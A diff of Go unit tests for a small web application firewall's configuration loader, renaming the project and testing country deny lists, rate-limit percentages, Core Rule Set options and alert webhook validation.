rulesEnabled: disabled,
|
||||
rulesEnabled: "false",
|
||||
})
|
||||
|
||||
wantSettings(t, cfg, config.Config{
|
||||
@@ -377,6 +370,7 @@ func TestValuesAsSet(t *testing.T) {
|
||||
wantNetblocks(t, cfg.AllowNets, "192.0.2.7/32")
|
||||
wantNetblocks(t, cfg.RateLimitExemptNets, "2001:db8::/48", "10.9.8.7/32")
|
||||
wantNetblocks(t, cfg.DenyNets, "198.51.100.0/24")
|
||||
wantCountries(t, deniedCountries, cfg.DeniedCountries, "CN", "RU", "KP", "XK")
|
||||
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE")
|
||||
}
|
||||
|
||||
@@ -546,14 +540,14 @@ func TestCoreRuleSetSettings(t *testing.T) {
|
||||
environment{
|
||||
wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
|
||||
wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
|
||||
wafBodyLimit: "32K", exclusionsFile: "/etc/sww/crs-exclusions.conf",
|
||||
wafBodyLimit: "32K", exclusionsFile: "/etc/smallwebwaf/crs-exclusions.conf",
|
||||
},
|
||||
config.Config{
|
||||
WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
|
||||
WAFDisabledRules: []int{942100, 920350},
|
||||
WAFExemptPaths: []string{"/api/", "/static/"},
|
||||
WAFBodyLimit: 32 << 10,
|
||||
CoreRuleSetExclusionsFile: "/etc/sww/crs-exclusions.conf",
|
||||
CoreRuleSetExclusionsFile: "/etc/smallwebwaf/crs-exclusions.conf",
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -597,7 +591,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
|
||||
const (
|
||||
notParanoiaLevel = " is not a paranoia level, from 1 to 4"
|
||||
setupRule = " is from 900000 to 900999, the ids of the rules that set " +
|
||||
"the Core Rule Set up and of sww's own, which cannot be switched off"
|
||||
"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
|
||||
)
|
||||
|
||||
for _, tc := range []struct{ name, value, want string }{
|
||||
@@ -636,11 +630,10 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
|
||||
wafBodyLimit, "128KB",
|
||||
`"128KB" is not a size such as 512K, 100M or 5G, or off`,
|
||||
},
|
||||
{wafBodyLimit, "65K", `"65K" is more than 64K, the most discriminator ` +
|
||||
`gets of a body`},
|
||||
{wafBodyLimit, "65K", `"65K" is more than 64K, the most servewaf gets of a body`},
|
||||
{
|
||||
wafBodyLimit, "65537",
|
||||
`"65537" is more than 64K, the most discriminator gets of a body`,
|
||||
`"65537" is more than 64K, the most servewaf gets of a body`,
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
@@ -660,11 +653,11 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
instanceName: "fsn1app1/blog",
|
||||
instanceName: "fsn1app1/gitea",
|
||||
logRequestHeaders: " Accept , X-Custom",
|
||||
})
|
||||
|
||||
if cfg.InstanceName != "fsn1app1/blog" ||
|
||||
if cfg.InstanceName != "fsn1app1/gitea" ||
|
||||
!slices.Equal(cfg.LogRequestHeaders, []string{"accept", "x-custom"}) {
|
||||
t.Errorf("%s is %q and %s gives %v", instanceName, cfg.InstanceName,
|
||||
logRequestHeaders, cfg.LogRequestHeaders)
|
||||
@@ -807,7 +800,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) {
|
||||
|
||||
want := logRemoteAppName + `: is unset, and ` + instanceName +
|
||||
` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` +
|
||||
`without a space, such as blog`
|
||||
`without a space, such as gitea`
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
@@ -836,7 +829,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
|
||||
}.lookupEnv)
|
||||
|
||||
want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
|
||||
`characters without a space, such as blog`
|
||||
`characters without a space, such as gitea`
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
@@ -866,7 +859,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
|
||||
const (
|
||||
webhook = "https://alerts.example:8443/hooks/waf?team=ops"
|
||||
slack = "https://hooks.slack.example/services/T0123/B4567/abcdef"
|
||||
ntfy = "https://ntfy.example/sww-alerts"
|
||||
ntfy = "https://ntfy.example/smallwebwaf-alerts"
|
||||
token = "tk_0123456789abcdefghijklmnopq"
|
||||
)
|
||||
|
||||
@@ -914,17 +907,17 @@ func TestInvalidAlertSettingStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantStartStopped(t, []struct{ name, value string }{
|
||||
{alertWebhookURL, "alerts.example/sww"},
|
||||
{alertWebhookURL, "alerts.example/smallwebwaf"},
|
||||
{alertWebhookURL, "ftp://alerts.example/"},
|
||||
{alertWebhookURL, "https:///sww"},
|
||||
{alertWebhookURL, "https:///smallwebwaf"},
|
||||
{alertWebhookURL, "https://user:password@alerts.example/"},
|
||||
{alertWebhookURL, "https://alerts.example/#top"},
|
||||
{alertWebhookURL, "https://alerts.example:0/"},
|
||||
{alertWebhookURL, "https://alerts.example:65536/"},
|
||||
{alertSlackWebhookURL, "hooks.slack.example/services/T0123"},
|
||||
{alertSlackWebhookURL, "https://user:password@hooks.slack.example/"},
|
||||
{alertNtfyURL, "ntfy://ntfy.example/sww-alerts"},
|
||||
{alertNtfyURL, "https://ntfy.example/sww-alerts#top"},
|
||||
{alertNtfyURL, "ntfy://ntfy.example/smallwebwaf-alerts"},
|
||||
{alertNtfyURL, "https://ntfy.example/smallwebwaf-alerts#top"},
|
||||
{alertWebhookHeaders, "Authorization"},
|
||||
{alertWebhookHeaders, "X Team:ops"},
|
||||
{alertWebhookHeaders, ":ops"},
|
||||
@@ -1004,7 +997,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
|
||||
_, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv)
|
||||
|
||||
want := alertWebhookURL + ": is not an http or https URL without a user or " +
|
||||
"a fragment, such as https://alerts.example/sww"
|
||||
"a fragment, such as https://alerts.example/smallwebwaf"
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
@@ -1018,7 +1011,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef",
|
||||
alertNtfyURL: "https://ntfy.example/sww-alerts",
|
||||
alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts",
|
||||
alertNtfyToken: token,
|
||||
})
|
||||
|
||||
@@ -1037,7 +1030,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
for _, secret := range []string{"T0123", "sww-alerts", token} {
|
||||
for _, secret := range []string{"T0123", "smallwebwaf-alerts", token} {
|
||||
if strings.Contains(logged, secret) {
|
||||
t.Errorf("%s in the settings logged: %s", secret, logged)
|
||||
}
|
||||
@@ -1068,7 +1061,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testin
|
||||
const name = "fsn1app1\r"
|
||||
|
||||
_, err := config.FromEnvironment(environment{
|
||||
instanceName: name, alertNtfyURL: "https://ntfy.example/sww-alerts",
|
||||
instanceName: name, alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts",
|
||||
}.lookupEnv)
|
||||
|
||||
want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` +
|
||||
@@ -1103,15 +1096,15 @@ func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
|
||||
func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{
|
||||
tagDeny: "country=cn,country=ru",
|
||||
deniedCountries: "cn,ru",
|
||||
allowedCountries: "de,RU",
|
||||
}.lookupEnv)
|
||||
if err == nil {
|
||||
t.Fatal("ru in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY was accepted")
|
||||
t.Fatal("ru on both country lists was accepted")
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(err.Error(), allowedCountries+": ") ||
|
||||
@@ -1182,11 +1175,12 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for name, value := range map[string]string{
|
||||
deniedCountries: "kp",
|
||||
allowedCountries: "de",
|
||||
addLookupHeaders: enabled,
|
||||
tagDeny: "country=KP",
|
||||
tagLimitPercent: "asn=64496:50",
|
||||
asnLimitPercentURL: asnURL,
|
||||
asnLimitPercent: "AS64496:50",
|
||||
countryLimitPercent: "cn:25",
|
||||
asnBytesPercent: "AS64496:50",
|
||||
countryBytesPercent: "cn:25",
|
||||
unknownLimitPercent: "99",
|
||||
@@ -1209,13 +1203,12 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
|
||||
}
|
||||
|
||||
// Set empty, the lists need nothing looked up, and nor does
|
||||
// SWW_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the
|
||||
// lookup does not give, an anomaly threshold per AS number that is off,
|
||||
// any other anomaly threshold, or a blocklist.
|
||||
// SWWAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, an anomaly
|
||||
// threshold per AS number that is off, any other anomaly threshold, or
|
||||
// a blocklist.
|
||||
env := environment{
|
||||
lookupSource: off, allowedCountries: "", asnBytesPercent: "",
|
||||
tagLists: "torexit=https://example.com/tor.txt,vpn=https://example.com/vpn.txt",
|
||||
tagDeny: torExitTag, tagLimitPercent: "vpn:50",
|
||||
lookupSource: off, deniedCountries: "", allowedCountries: "",
|
||||
asnLimitPercent: "", countryLimitPercent: "", asnBytesPercent: "",
|
||||
countryBytesPercent: "", unknownLimitPercent: "100", asnLimitPercentURL: "",
|
||||
blocklistURLs: dropURL,
|
||||
}
|
||||
@@ -1361,251 +1354,34 @@ func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// torExitTag, zenTag and exploitTag are tags these tests name.
|
||||
const (
|
||||
torExitTag = "torexit"
|
||||
zenTag = "dnsbl=zen.example"
|
||||
exploitTag = "exploitsignature"
|
||||
)
|
||||
|
||||
func TestTagSettingsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const torURL = "https://example.com/tor.txt"
|
||||
|
||||
// Names and tags in either case, an AS number with leading zeros, and a
|
||||
// name holding a =.
|
||||
cfg := fromEnvironment(t, environment{
|
||||
tagLists: "TorExit=" + torURL +
|
||||
", vpn=mullvad=https://example.com/mullvad.txt",
|
||||
dnsblZones: "Zen.example",
|
||||
tagDeny: "TorExit, Country=kp, asn=014061",
|
||||
tagLimitPercent: "vpn=mullvad :50, asn=014061:25, COUNTRY=cn:1, dnsbl=zen.example:99",
|
||||
})
|
||||
|
||||
wantLists := []config.TagList{
|
||||
{Name: torExitTag, URL: torURL},
|
||||
{Name: "vpn=mullvad", URL: "https://example.com/mullvad.txt"},
|
||||
}
|
||||
if !slices.Equal(cfg.TagLists, wantLists) {
|
||||
t.Errorf("%s gave %+v, want %+v", tagLists, cfg.TagLists, wantLists)
|
||||
}
|
||||
|
||||
wantDeny := []string{torExitTag, "country=KP", "asn=14061"}
|
||||
if !slices.Equal(cfg.TagDeny, wantDeny) {
|
||||
t.Errorf("%s gave %v, want %v", tagDeny, cfg.TagDeny, wantDeny)
|
||||
}
|
||||
|
||||
wantPercents := map[string]int64{
|
||||
"vpn=mullvad": 50, "asn=14061": 25, "country=CN": 1, zenTag: 99,
|
||||
}
|
||||
if !maps.Equal(cfg.TagLimitPercent, wantPercents) {
|
||||
t.Errorf("%s gave %v, want %v", tagLimitPercent, cfg.TagLimitPercent, wantPercents)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const rw = "https://routewatch.example"
|
||||
|
||||
if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
|
||||
t.Errorf("default %s is %q, want unset", routeWatchURL, cfg.RouteWatchURL)
|
||||
}
|
||||
|
||||
cfg := fromEnvironment(t, environment{
|
||||
routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32",
|
||||
tagLimitPercent: "prefix=192.0.2.0/24:50",
|
||||
})
|
||||
wantDeny := []string{"prefix=2001:db8::/32"}
|
||||
|
||||
if cfg.RouteWatchURL != rw || !slices.Equal(cfg.TagDeny, wantDeny) ||
|
||||
cfg.TagLimitPercent["prefix=192.0.2.0/24"] != 50 {
|
||||
t.Errorf("gave %q, %v, %v", cfg.RouteWatchURL, cfg.TagDeny, cfg.TagLimitPercent)
|
||||
}
|
||||
|
||||
// routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set.
|
||||
fromEnvironment(t, environment{
|
||||
lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496",
|
||||
})
|
||||
|
||||
for _, stopped := range []struct {
|
||||
env environment
|
||||
name string
|
||||
}{
|
||||
{environment{routeWatchURL: "ftp://routewatch.example"}, routeWatchURL},
|
||||
{environment{routeWatchURL: "routewatch.example"}, routeWatchURL},
|
||||
{environment{tagDeny: "prefix=192.0.2.0/24"}, tagDeny},
|
||||
{environment{routeWatchURL: rw, tagDeny: "prefix=nowhere"}, tagDeny},
|
||||
{environment{routeWatchURL: rw, tagDeny: "prefix=192.0.2.5/24"}, tagDeny},
|
||||
{
|
||||
environment{routeWatchURL: rw, tagLimitPercent: "prefix=192.0.2.0/33:50"},
|
||||
tagLimitPercent,
|
||||
},
|
||||
{environment{lookupSource: off, routeWatchURL: rw, tagDeny: "country=DE"}, tagDeny},
|
||||
{environment{lookupSource: off, tagDeny: "asn=64496"}, tagDeny},
|
||||
} {
|
||||
_, err := config.FromEnvironment(stopped.env.lookupEnv)
|
||||
if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") {
|
||||
t.Errorf("%v gave the error %v, want one naming %s", stopped.env, err, stopped.name)
|
||||
}
|
||||
}
|
||||
|
||||
badURL := environment{routeWatchURL: "ftp://routewatch.example"}
|
||||
_, err := config.FromEnvironment(badURL.lookupEnv)
|
||||
|
||||
want := routeWatchURL + `: "ftp://routewatch.example" is not an http or https URL ` +
|
||||
"without a user or a fragment, such as https://routewatch.example"
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTagThatNoRequestCanGetIsToldApartFromOneItCan(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
list = "torexit=https://example.com/tor.txt"
|
||||
key = "abc123"
|
||||
zone = key + ".xbl.dq.spamhaus.net"
|
||||
masked = "********.xbl.dq.spamhaus.net"
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env environment
|
||||
want string // "" is accepted
|
||||
}{
|
||||
{"a list's name", environment{tagLists: list, tagDeny: torExitTag}, ""},
|
||||
{
|
||||
"a mistyped list's name", environment{tagLists: list, tagDeny: "torexti"},
|
||||
`"torexti"`,
|
||||
},
|
||||
{"a masked zone", environment{dnsblZones: zone, tagDeny: "dnsbl=" + masked}, ""},
|
||||
{
|
||||
"a zone with its key", environment{dnsblZones: zone, tagDeny: "dnsbl=" + zone},
|
||||
masked,
|
||||
},
|
||||
{"another zone", environment{dnsblZones: zone, tagDeny: zenTag}, zenTag},
|
||||
{
|
||||
"abuseipdb with a key",
|
||||
environment{abuseIPDBKey: "k", tagLimitPercent: "abuseipdb:50"}, "",
|
||||
},
|
||||
{"crowdsec, though a list has its name", environment{
|
||||
tagLists: "crowdsec=https://example.com/c.txt", tagDeny: "crowdsec",
|
||||
}, `"crowdsec" cannot be used`},
|
||||
{exploitTag, environment{tagDeny: exploitTag}, ""},
|
||||
{
|
||||
exploitTag + " with rule files off",
|
||||
environment{tagDeny: exploitTag, rulesEnabled: disabled}, "",
|
||||
},
|
||||
{
|
||||
exploitTag + " with the Core Rule Set off",
|
||||
environment{tagDeny: exploitTag, wafMode: off}, "",
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
||||
|
||||
switch {
|
||||
case tc.want == "" && err != nil:
|
||||
t.Errorf("error %v, want none", err)
|
||||
case tc.want != "" && (err == nil || !strings.Contains(err.Error(), tc.want)):
|
||||
t.Errorf("error %v, want one holding %s", err, tc.want)
|
||||
case err != nil && strings.Contains(err.Error(), key):
|
||||
t.Errorf("error %v shows the zone's key", err)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const (
|
||||
tag = "dnsbl=" + spamhaus
|
||||
emptyItem = "has an empty item in its list"
|
||||
twice = `"` + spamhausMasked + `" is listed twice`
|
||||
)
|
||||
|
||||
for _, tc := range []struct{ name, value, want string }{
|
||||
{tagDeny, tag + "," + tag, twice},
|
||||
{tagDeny, tag + ",,", emptyItem},
|
||||
{
|
||||
tagLimitPercent, tag,
|
||||
`"` + spamhausMasked + `" is not a tag, : and a percentage, ` +
|
||||
"such as vpn:50 or asn=14061:25",
|
||||
},
|
||||
{
|
||||
tagLimitPercent, "50:" + tag,
|
||||
`"` + spamhausMasked + `" is not a percentage from 1 to 99`,
|
||||
},
|
||||
{tagLimitPercent, tag + ":50," + tag + " :25", twice},
|
||||
{tagLimitPercent, tag + ":50,,", emptyItem},
|
||||
} {
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
|
||||
want := tc.name + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("%s=%s gave the error %v, want %s", tc.name, tc.value, err, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const lapi = "http://172.17.0.1:8080"
|
||||
|
||||
for _, tc := range []struct {
|
||||
name, listURL string
|
||||
env environment
|
||||
}{
|
||||
{"a blocklist", dropURL, environment{blocklistURLs: dropURL}},
|
||||
{"the file of AS:percent lines", asnURL, environment{asnLimitPercentURL: asnURL}},
|
||||
{
|
||||
"the CrowdSec decision list", lapi + "/v1/decisions",
|
||||
environment{"SWW_CROWDSEC_LAPI_URL": lapi, "SWW_CROWDSEC_LAPI_KEY": "key"},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
tc.env[tagLists] = "dup=" + tc.listURL
|
||||
|
||||
want := tagLists + `: "` + tc.listURL + `" is in SWW_BLOCKLIST_URLS, is ` +
|
||||
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
|
||||
|
||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBiasedThresholdsAsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
cfg := fromEnvironment(t, environment{})
|
||||
if len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 ||
|
||||
if len(cfg.ASNLimitPercent) != 0 || len(cfg.CountryLimitPercent) != 0 ||
|
||||
len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 ||
|
||||
cfg.UnknownLimitPercent != 100 {
|
||||
t.Errorf("biased thresholds %v, %v and %d by default, "+
|
||||
"want two empty lists and 100",
|
||||
t.Errorf("biased thresholds %v, %v, %v, %v and %d by default, "+
|
||||
"want four empty lists and 100", cfg.ASNLimitPercent, cfg.CountryLimitPercent,
|
||||
cfg.ASNBytesPercent, cfg.CountryBytesPercent, cfg.UnknownLimitPercent)
|
||||
}
|
||||
|
||||
// AS numbers and countries in either case, an AS number with leading
|
||||
// zeros, 0 and 100.
|
||||
cfg = fromEnvironment(t, environment{
|
||||
asnLimitPercent: "AS14061:50, as16276:0,AS045102:100",
|
||||
countryLimitPercent: "cn:25,RU:50",
|
||||
asnBytesPercent: "as16276:75",
|
||||
countryBytesPercent: "ru:10",
|
||||
unknownLimitPercent: "0",
|
||||
})
|
||||
|
||||
for name, tc := range map[string]struct{ got, want map[string]int64 }{
|
||||
asnLimitPercent: {
|
||||
cfg.ASNLimitPercent,
|
||||
map[string]int64{"AS14061": 50, "AS16276": 0, "AS45102": 100},
|
||||
},
|
||||
countryLimitPercent: {cfg.CountryLimitPercent, map[string]int64{"CN": 25, "RU": 50}},
|
||||
asnBytesPercent: {cfg.ASNBytesPercent, map[string]int64{"AS16276": 75}},
|
||||
countryBytesPercent: {cfg.CountryBytesPercent, map[string]int64{"RU": 10}},
|
||||
} {
|
||||
@@ -1629,16 +1405,16 @@ func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
)
|
||||
|
||||
for _, tc := range []struct{ name, value, want string }{
|
||||
{asnBytesPercent, "14061:50", `"14061"` + notASN},
|
||||
{asnBytesPercent, "AS4294967296:50", `"AS4294967296"` + notASN},
|
||||
{asnBytesPercent, "AS14061", `"AS14061"` + notItem},
|
||||
{asnBytesPercent, "AS14061:101", `"101"` + notPercent},
|
||||
{asnBytesPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`},
|
||||
{asnLimitPercent, "14061:50", `"14061"` + notASN},
|
||||
{asnLimitPercent, "AS4294967296:50", `"AS4294967296"` + notASN},
|
||||
{asnLimitPercent, "AS14061", `"AS14061"` + notItem},
|
||||
{asnLimitPercent, "AS14061:101", `"101"` + notPercent},
|
||||
{asnLimitPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`},
|
||||
{
|
||||
countryBytesPercent, "nk:25",
|
||||
countryLimitPercent, "nk:25",
|
||||
`"nk" is not a two-letter country code such as de or kp`,
|
||||
},
|
||||
{countryBytesPercent, "cn:25,CN:50", `"CN" is listed twice`},
|
||||
{countryLimitPercent, "cn:25,CN:50", `"CN" is listed twice`},
|
||||
{asnBytesPercent, "AS14061:-1", `"-1"` + notPercent},
|
||||
{countryBytesPercent, "cn:50%", `"50%"` + notPercent},
|
||||
{unknownLimitPercent, "101", `"101"` + notPercent},
|
||||
@@ -1665,7 +1441,7 @@ const (
|
||||
asnURL = "https://lists.example/asn.txt"
|
||||
)
|
||||
|
||||
// The actions of SWW_BLOCKLIST_ACTION, as Config gives them.
|
||||
// The actions of SWWAF_BLOCKLIST_ACTION, as Config gives them.
|
||||
const (
|
||||
actionDeny = "deny"
|
||||
actionLimit = "limit"
|
||||
@@ -1761,7 +1537,7 @@ func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) {
|
||||
blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL,
|
||||
}.lookupEnv)
|
||||
|
||||
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_BLOCKLIST_URLS too`
|
||||
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWWAF_BLOCKLIST_URLS too`
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
@@ -2064,7 +1840,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
notLAPIURL = " is not an http or https URL without a user or a fragment, " +
|
||||
"such as http://172.17.0.1:8080"
|
||||
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
|
||||
`SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too`
|
||||
`SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too`
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -2226,37 +2002,23 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
|
||||
{lookupSource, "ipinfo"}, {lookupSource, "GeoJS"}, {lookupSource, ""},
|
||||
{lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"},
|
||||
{addLookupHeaders, "yes"},
|
||||
{allowedCountries, "nk"},
|
||||
{allowedCountries, "kp,,ir"},
|
||||
{allowedCountries, "prk"},
|
||||
{allowedCountries, "408"},
|
||||
{allowedCountries, "k"},
|
||||
{allowedCountries, "eu"},
|
||||
{allowedCountries, "un"},
|
||||
{allowedCountries, "su"},
|
||||
{deniedCountries, "nk"},
|
||||
{deniedCountries, "kp,,ir"},
|
||||
{deniedCountries, "prk"},
|
||||
{deniedCountries, "408"},
|
||||
{deniedCountries, "k"},
|
||||
{deniedCountries, "eu"},
|
||||
{deniedCountries, "un"},
|
||||
{deniedCountries, "su"},
|
||||
{allowedCountries, "ac"},
|
||||
{allowedCountries, "uk"},
|
||||
{allowedCountries, "zz"},
|
||||
{allowedCountries, "de,germany"},
|
||||
{asnBytesPercent, "AS14061:50,,AS16276:50"}, {asnBytesPercent, "ASX:50"},
|
||||
{asnBytesPercent, "AS14061:"}, {asnBytesPercent, "AS14061 :50"},
|
||||
{asnBytesPercent, "AS14061:1.5"}, {asnBytesPercent, "AS-1:50"},
|
||||
{countryBytesPercent, "cn"}, {countryBytesPercent, "cn:"},
|
||||
{countryBytesPercent, "cn:25:50"}, {countryBytesPercent, "china:25"},
|
||||
{tagDeny, "a,,b"}, {tagDeny, "country=nk"}, {tagDeny, "asn=abc"},
|
||||
{tagDeny, "asn="}, {tagDeny, "torexit,TOREXIT"}, {tagDeny, "torexti"},
|
||||
{tagDeny, zenTag}, {tagDeny, "abuseipdb"}, {tagDeny, "crowdsec"},
|
||||
{tagLimitPercent, "torexti:50"}, {tagLimitPercent, "dnsbl=zen.example:50"},
|
||||
{tagLimitPercent, "abuseipdb:50"}, {tagLimitPercent, "crowdsec:50"},
|
||||
{tagLimitPercent, "vpn :50"}, {tagLimitPercent, "vpn"}, {tagLimitPercent, ":50"},
|
||||
{tagLimitPercent, "vpn:"}, {tagLimitPercent, "vpn:0"}, {tagLimitPercent, "vpn:100"},
|
||||
{tagLimitPercent, "vpn:1.5"}, {tagLimitPercent, "vpn:50,VPN:25"},
|
||||
{tagLimitPercent, "exploitsignature:50"}, {tagLimitPercent, "asn=abc:50"},
|
||||
{tagLists, torExitTag}, {tagLists, "=https://example.com/a.txt"},
|
||||
{tagLists, "a,b=https://example.com/a.txt"},
|
||||
{tagLists, "a=ftp://example.com/a.txt"},
|
||||
{tagLists, "a=https://example.com/a.txt,A=https://example.com/b.txt"},
|
||||
{tagLists, "a=https://example.com/a.txt,b=https://example.com/a.txt"},
|
||||
{asnLimitPercent, "AS14061:50,,AS16276:50"}, {asnLimitPercent, "ASX:50"},
|
||||
{asnLimitPercent, "AS14061:"}, {asnLimitPercent, "AS14061 :50"},
|
||||
{asnLimitPercent, "AS14061:1.5"}, {asnLimitPercent, "AS-1:50"},
|
||||
{countryLimitPercent, "cn"}, {countryLimitPercent, "cn:"},
|
||||
{countryLimitPercent, "cn:25:50"}, {countryLimitPercent, "china:25"},
|
||||
{asnBytesPercent, "AS14061:101"}, {countryBytesPercent, "su:50"},
|
||||
{unknownLimitPercent, ""}, {unknownLimitPercent, "-1"},
|
||||
{unknownLimitPercent, "50%"},
|
||||
@@ -2268,25 +2030,6 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
|
||||
{logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""},
|
||||
{rulesEnabled, "yes"}, {rulesEnabled, "True"},
|
||||
})
|
||||
|
||||
wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t)
|
||||
}
|
||||
|
||||
// wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff checks that with rule
|
||||
// files off, and either setting turning off the Core Rule Set, the tag
|
||||
// exploitsignature in SWW_TAG_DENY stops the start.
|
||||
func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
for _, name := range []string{wafMode, wafAnomalyThreshold} {
|
||||
_, err := config.FromEnvironment(environment{
|
||||
tagDeny: exploitTag, rulesEnabled: disabled, name: off,
|
||||
}.lookupEnv)
|
||||
if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") {
|
||||
t.Errorf("%s=off with rule files off gave the error %v, want one naming %s",
|
||||
name, err, tagDeny)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) {
|
||||
@@ -2299,7 +2042,7 @@ func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) {
|
||||
{maxBanDuration, off}, {maxBanDuration, "1w"}, {attackBanDuration, off},
|
||||
{maxBans, off}, {maxBans, "0"}, {maxBans, "5K"},
|
||||
